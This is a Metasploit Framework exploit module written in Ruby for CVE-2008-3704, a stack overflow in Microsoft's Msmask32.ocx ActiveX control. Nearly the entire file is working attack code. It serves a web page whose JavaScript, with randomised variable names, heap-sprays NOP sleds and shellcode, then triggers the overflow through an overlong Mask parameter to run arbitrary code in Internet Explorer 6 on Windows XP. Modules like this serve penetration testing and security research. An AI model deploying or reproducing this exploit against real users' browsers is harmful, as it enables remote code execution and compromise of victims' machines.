2009-12-15 18:47:29 +00:00
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###
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## This file is part of the Metasploit Framework and may be subject to
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## redistribution and commercial restrictions. Please see the Metasploit
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## Framework web site for more information on licensing and terms of use.
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## http://metasploit.com/framework/
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###
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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2009-12-06 05:50:37 +00:00
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Rank = NormalRanking
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2009-12-15 18:47:29 +00:00
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Visual Studio Msmask32.ocx ActiveX Buffer Overflow.',
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'Description' => %q{
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This module exploits a stack overflow in Microsoft's Visual Studio 6.0.
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When passing a specially crafted string to the Mask parameter of the
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Msmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary
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code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'koshi', 'MC' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-3704' ],
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[ 'BID','30674' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP2 IE 6.0 SP0-SP2', { 'Ret' => '' } ]
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],
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'DisclosureDate' => 'Aug 13 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
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], self.class)
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload.
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Create some nops.
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nops = Rex::Text.to_unescape(make_nops(4))
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# Randomize the javascript variable names.
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vname = rand_text_alpha(rand(100) + 1)
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var_i = rand_text_alpha(rand(30) + 2)
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rand1 = rand_text_alpha(rand(100) + 1)
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rand2 = rand_text_alpha(rand(100) + 1)
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rand3 = rand_text_alpha(rand(100) + 1)
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rand4 = rand_text_alpha(rand(100) + 1)
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rand5 = rand_text_alpha(rand(100) + 1)
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rand6 = rand_text_alpha(rand(100) + 1)
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rand7 = rand_text_alpha(rand(100) + 1)
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rand8 = rand_text_alpha(rand(100) + 1)
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rand9 = rand_text_alpha(rand(100) + 1)
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rand10 = rand_text_alpha(rand(100) + 1)
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rand11 = rand_text_alpha(rand(100) + 1)
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content = %Q|
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<html>
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<script language="javascript">
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var #{rand1}='<object classid="clsid:C932BA85-4374-101B-A56C-00AA003668DC"><param name="Mask" value="';
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var #{rand2}='"></object>';
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var #{rand3} = '';
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for (#{var_i}=1;#{var_i}<=2145;#{var_i}++){#{rand3}=#{rand3}+unescape("%0c");}
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var #{rand4} = unescape("#{shellcode}");
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var #{rand5} = (#{rand4}.length * 2);
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var #{rand6} = unescape("#{nops}");
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var #{rand7} = 0x0c0c0c0c;
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var #{rand8} = 0x100000;
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var #{rand9} = #{rand8} - (#{rand5} + 1);
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var #{rand10} = (#{rand7}+#{rand8})/#{rand8};
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var #{rand11} = new Array();
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while (#{rand6}.length*2<#{rand9})
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{ #{rand6} += #{rand6}; }
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#{rand6} = #{rand6}.substring(0,#{rand9}/2);
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for (#{var_i}=0;#{var_i}<#{rand10};#{var_i}++)
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{ #{rand11}[#{var_i}] = #{rand6} + #{rand4}; }
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document.write(#{rand1}+#{rand3}+#{rand2});
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</script>
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</html>
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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